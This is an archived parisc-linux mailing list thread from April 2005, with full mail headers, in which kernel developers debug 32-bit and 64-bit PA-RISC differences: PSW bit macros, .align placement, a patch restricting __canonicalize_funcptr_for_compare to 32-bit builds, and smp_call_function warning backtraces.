To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 17:04:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 28 Apr 2005 19:04:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B03857D6A3;
	Thu, 28 Apr 2005 11:04:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32321-08; Thu, 28 Apr 2005 11:04:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 473CA7D690;
	Thu, 28 Apr 2005 11:04:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 434FE7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 11:04:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32321-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 11:04:17 -0600 (MDT)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 787AF7D611
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 11:04:17 -0600 (MDT)
Original-Received: from [83.134.225.143] (helo=[83.134.225.143])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DRCQr-0006Yj-Uo; Thu, 28 Apr 2005 19:04:10 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.7) Gecko/20050420 Debian/1.7.7-2
X-Accept-Language: en
In-Reply-To: <200504261908.j3QJ8gA5027898@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4nIDYkkHeSE57L6WZHQhaXN2IGRvb8Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22665

Hello Dave, Grant,

John David Anglin wrote:
>>btw I don't more understand why the following ifdef (in the same head.S):
>>#ifdef __LP64__ /* move to psw.h? */   
>>#define         PSW_BITS        PSW_Q+PSW_I+PSW_D+PSW_P+PSW_R
>>#else
>>#define         PSW_BITS        PSW_SM_Q
>>#endif
> 
> 
> I also don't understand the difference between the 32 and 64 bit cases.
> There's probably a reason to turn off I, D, P and R in these sequences.
> For example, a flush instruction cache instruction with the D bit set
> affects the relied upon translation.  So, the question would be why the
> bits are not turned off in the 32-bit case.  It may be because the PDCs
> differ in their handling of these bits.  I'm pretty sure that the 64-bit
> define would work in the 32-bit case.  The bits are only off through to
> the rfi which then sets new bits.
> 
> The bits for the 64-bit case probably should be written using the "PSW_SM"
> defines.  There's no difference for the Q, I, D, P and R bits but the SM
> defines are for the "sm" instructions.
> 
Yes, as mentioned elsewhere (ssm/rsm ggg's patch) it works on all of my config (b180, d380 32bit smp)

> 
>>        b,n             srdis_done
>>[snip]
> 
> 
> I believe that you should align srdis_done as follows:
> 
> 	.align 128
> 
mmm is there importance in the order of:
	.align 128
	.text
rfi_virt2real:

later this is the contrary:
	.text
	.align 128
rfi_real2virt:

(from real2.S :-) )

> You would then need to add a branch and nop to get there.
> 
But I mainly come back here with the fact that 64bit kernel works fine while
its 32 bit twin panicing on same hw (b2k e.g.):
(to test ggg patch I run again my stress loop during about 20h on b2k with
the 64bit kernel without any pb ;-)

as far as I remember cffc() is only 32bit stuff so this patch would make
sense imho:
--- arch/parisc/kernel/parisc_ksyms.c.Orig      2005-04-28 14:39:07.000000000 +0200
+++ arch/parisc/kernel/parisc_ksyms.c   2005-04-28 14:18:23.000000000 +0200
@@ -160,8 +160,10 @@
  EXPORT_SYMBOL(__lshrdi3);
  EXPORT_SYMBOL(__muldi3);

+#ifndef CONFIG_64BIT
  asmlinkage void * __canonicalize_funcptr_for_compare(void *);
  EXPORT_SYMBOL(__canonicalize_funcptr_for_compare);
+#endif /* CONFIG_64BIT */

  #ifdef __LP64__
  extern void __divdi3(void);
--- arch/parisc/kernel/real2.S.Orig     2005-04-28 14:39:29.000000000 +0200
+++ arch/parisc/kernel/real2.S  2005-04-28 14:20:31.000000000 +0200
@@ -288,7 +272,7 @@
         bv,n    0(%rp)
         nop

-
+#ifndef CONFIG_64BIT
         .export __canonicalize_funcptr_for_compare
         .text
         /* http://lists.parisc-linux.org/hypermail/parisc-linux/10916.html
@@ -296,9 +280,6 @@
         **      comparing function pointers.
         */
  __canonicalize_funcptr_for_compare:
-#ifdef __LP64__
-       bve (%r2)
-#else
         bv %r0(%r2)
-#endif
         copy %r26,%r28
+#endif /* CONFIG_64BIT */
====<>====
(compile fine)

mmm, could it be the diff I was looking for between 32 and 64bit ?

For the moment, it is the most important diff that could explain me those
so different behaviour?

well iirc this last hunk is not more than:

typedef int (*fptr_t) (void);
unsigned int
__canonicalize_funcptr_for_compare (fptr)
      fptr_t fptr;
{
     return (unsigned int) fptr;
}

this form could help me to add some printk() to check the fptr containt?
(or may be a WARN_ON() to collect stack tree?)

But that would just give me addresses; how would I be able to check if a fcnt_ptr comparison is erronious?

Another thought: could it be some kind of border effect due to an additonal branch in 32bit (not present in 64bit)?

# grep canoni vmlinux-2.6.12-rc3-pa1-050425.dmp
10111b8c <__canonicalize_funcptr_for_compare>:
101265e8: e8 55 0b 3d  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
101265f8: e8 55 0b 1d  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
101327f8: e8 4f 07 1d  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10132804: e8 4f 07 05  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10132e80: e8 4f 1a 09  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10132e8c: e8 4f 19 f1  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10133308: e8 4f 10 f9  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10133314: e8 4f 10 e1  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
1013335c: e8 4f 10 51  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10133368: e8 4f 10 39  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
101340d4: e8 4e 15 65  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
101340e0: e8 4e 15 4d  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10134100: e8 4e 15 0d  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
1013410c: e8 4e 14 f5  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10134268: e8 4e 12 3d  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10134274: e8 4e 12 25  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
1013487c: e8 4e 06 15  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10134888: e8 4e 05 fd  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
1013583c: e8 4e 06 91  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
10135848: e8 4e 06 79  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
1013d7f8: e8 4a 07 19  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
1013d804: e8 4a 07 01  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
1013dab4: e8 4a 01 a1  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
1013dac0: e8 4a 01 89  b,l 10111b8c <__canonicalize_funcptr_for_compare>,rp
103bd7b0 <__ksymtab___canonicalize_funcptr_for_compare>:
103c1f24 <__kstrtab___canonicalize_funcptr_for_compare>:

yet another thought: is there any mean to inline this, to check this other hypothesis?

Thanks again,
     Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] head.S: a small typo
Date: Thu, 28 Apr 2005 13:52:11 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <200504281752.j3SHqBeE005408@hiauly1.hia.nrc.ca>
References: <42711789.8040408@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623769 14380 80.91.229.3 (22 Nov 2014 02:36:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 17:52:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 28 Apr 2005 19:52:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AE2B47D6A3;
	Thu, 28 Apr 2005 11:52:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32565-07; Thu, 28 Apr 2005 11:52:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D24E27D6A5;
	Thu, 28 Apr 2005 11:52:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5FC367D69F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 11:52:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32578-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 11:52:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id C46AB7D69A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 11:52:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3SHqBhF005409; Thu, 28 Apr 2005 13:52:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3SHqBeE005408;
	Thu, 28 Apr 2005 13:52:11 -0400 (EDT)
In-Reply-To: <42711789.8040408@tiscali.be> from "Joel Soete" at Apr 28,
	2005 05:04:09 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gkcDYoMzeSE57L6WZHQhaXN2IGRvb8CU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22666

> mmm is there importance in the order of:
> 	.align 128
> 	.text
> rfi_virt2real:

Yes, put the .align after the .text.  You want to align the following
text.

> But I mainly come back here with the fact that 64bit kernel works fine while
> its 32 bit twin panicing on same hw (b2k e.g.):
> (to test ggg patch I run again my stress loop during about 20h on b2k with
> the 64bit kernel without any pb ;-)
> 
> as far as I remember cffc() is only 32bit stuff so this patch would make

Yes.  You don't need it in 64-bit code.  Regarding cffc, GCC 4.0
has a fix as to when canonicalization is done.  In 4.0 and later,
canonicalization is only done when both sides of are function
pointers.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Thu, 28 Apr 2005 13:06:59 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <20050428190659.GD10171@colo.lackof.org>
References: <20050425165540.GD12325@colo.lackof.org>
	<200504251744.j3PHixu9015886@hiauly1.hia.nrc.ca>
	<20050427022925.GH2612@colo.lackof.org>
	<20050427052055.GJ2612@colo.lackof.org>
	<20050427150050.GB21784@colo.lackof.org>
	<20050428145834.GA10171@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623769 14389 80.91.229.3 (22 Nov 2014 02:36:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 19:04:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 28 Apr 2005 21:04:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D65D27D69F;
	Thu, 28 Apr 2005 13:04:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03052-06; Thu, 28 Apr 2005 13:04:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C22A07D6A3;
	Thu, 28 Apr 2005 13:04:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C09C7D698
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 13:04:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03052-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 13:04:26 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id A980A7D690
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 13:04:26 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6086E298062
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 13:07:00 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13405-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 13:06:59 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0EB1B298059; Thu, 28 Apr 2005 13:06:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050428145834.GA10171@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nVYDYqt0eSE57L6WZHQhaXN2IGRvbwCe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22667

On Thu, Apr 28, 2005 at 08:58:34AM -0600, Grant Grundler wrote:
> Grant Grundler wrote:
> > Here's a new patch WITHOUT the s/__lp64__/CONFIG_64BIT/ changes.
> 
> I tested this patch on a500 and the kernel blew up when
> /etc/init.d/firewall script was started.
> Something in iptables triggered a WARN_ON in our smp_call_function.
> Thinking this might be related to the missing "ssm/nop*8" sequence,
> I removed the ifdef around the pcxt_ssm_bug so it's always used.
> Still panics in basically the same way:

I've restored the #ifdef CONFIG_64BIT around pcxt_ssm_bug
so my 64-bit kernels don't use it *and* disabled
/etc/init.d/firewall so iptables doesn't get invoked.
The system boots to a login prompt but when I ssh
to the box, I get the following WARNON with several
different stack traces:

Badness in smp_call_function at arch/parisc/kernel/smp.c:340
Backtrace:
 [<0000000010114cf0>] dump_stack+0x18/0x28
 [<000000001011f6cc>] smp_call_function+0x474/0x480
 [<00000000101130f8>] flush_tlb_all+0x108/0x238
 [<00000000101a6e88>] exit_mmap+0x238/0x2a0
 [<000000001014928c>] mmput+0xdc/0x200
 [<00000000101ce82c>] flush_old_exec+0x8c4/0xe38
 [<000000001012188c>] load_elf_binary+0x56c/0x1970
 [<00000000101cf304>] search_binary_handler+0x174/0x580
 [<00000000102000a8>] compat_do_execve+0x1d0/0x3e0
 [<0000000010124700>] sys32_execve+0x70/0xf8
 [<0000000010107e04>] sys32_execve_wrapper+0x1c/0x30


Badness in smp_call_function at arch/parisc/kernel/smp.c:340
Backtrace:
 [<0000000010114cf0>] dump_stack+0x18/0x28
 [<000000001011f6cc>] smp_call_function+0x474/0x480
 [<00000000101130f8>] flush_tlb_all+0x108/0x238
 [<000000001019e0f0>] unmap_vmas+0x528/0xb78
 [<00000000101a6d5c>] exit_mmap+0x10c/0x2a0
 [<000000001014928c>] mmput+0xdc/0x200
 [<00000000101ce82c>] flush_old_exec+0x8c4/0xe38
 [<000000001012188c>] load_elf_binary+0x56c/0x1970
 [<00000000101cf304>] search_binary_handler+0x174/0x580
 [<00000000102000a8>] compat_do_execve+0x1d0/0x3e0
 [<0000000010124700>] sys32_execve+0x70/0xf8
 [<0000000010107e04>] sys32_execve_wrapper+0x1c/0x30

Besides the basic issue, this also implies flush_tlb_all() is
called twice in the same code path. That might be ok if 
flush_tlb_all() took parameters, but it does not.

Any clue what the basic issue is here?

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ssm/rsm sequences
Date: Thu, 28 Apr 2005 15:42:26 -0400 (EDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <200504281942.j3SJgQvL005780@hiauly1.hia.nrc.ca>
References: <20050428190659.GD10171@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623770 14395 80.91.229.3 (22 Nov 2014 02:36:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Apr 2005 19:42:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 28 Apr 2005 21:42:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8B0BF7D6B5;
	Thu, 28 Apr 2005 13:42:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03098-10; Thu, 28 Apr 2005 13:42:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68A7A7D6B0;
	Thu, 28 Apr 2005 13:42:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6EE8A7D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 13:42:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03098-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 13:42:31 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id C62627D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 28 Apr 2005 13:42:30 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3SJgQhF005782; Thu, 28 Apr 2005 15:42:27 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3SJgQvL005780;
	Thu, 28 Apr 2005 15:42:26 -0400 (EDT)
In-Reply-To: <20050428190659.GD10171@colo.lackof.org> from "Grant Grundler" at
	Apr 28, 2005 01:06:59 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +FkDYlJYeSE57L6WZHQhaXN2IGRvbwCR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22668

> On Thu, Apr 28, 2005 at 08:58:34AM -0600, Grant Grundler wrote:
> > Grant Grundler wrote:
> > > Here's a new patch WITHOUT the s/__lp64__/CONFIG_64BIT/ changes.
> > 
> > I tested this patch on a500 and the kernel blew up when
> > /etc/init.d/firewall script was started.
> > Something in iptables triggered a WARN_ON in our smp_call_function.
> > Thinking this might be related to the missing "ssm/nop*8" sequence,
> > I removed the ifdef around the pcxt_ssm_bug so it's always used.
> > Still panics in basically the same way:
> 
> I've restored the #ifdef CONFIG_64BIT around pcxt_ssm_bug
> so my 64-bit kernels don't use it *and* disabled
> /etc/init.d/firewall so iptables doesn't get invoked.
> The system boots to a login prompt but when I ssh
> to the box, I get the following WARNON with several
> different stack traces:
> 
> Badness in smp_call_function at arch/parisc/kernel/smp.c:340
> Backtrace:
>  [<0000000010114cf0>] dump_stack+0x18/0x28
>  [<000000001011f6cc>] smp_call_function+0x474/0x480
>  [<00000000101130f8>] flush_tlb_all+0x108/0x238

> Besides the basic issue, this also implies flush_tlb_all() is
> called twice in the same code path. That might be ok if 
> flush_tlb_all() took parameters, but it does not.

Twice?

> Any clue what the basic issue is here?

flush_tlb_all doesn't call anything.  I'm guessing but I think this
implies that smp_call_function is getting called because a TLB miss
fault has occured.  It appears from the backtrace that the fault
has occurred in the part of flush_tlb_all with the REAL_MODE_PSW
flags set (W and Q).  Interrupts are off, so this causes the warning.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
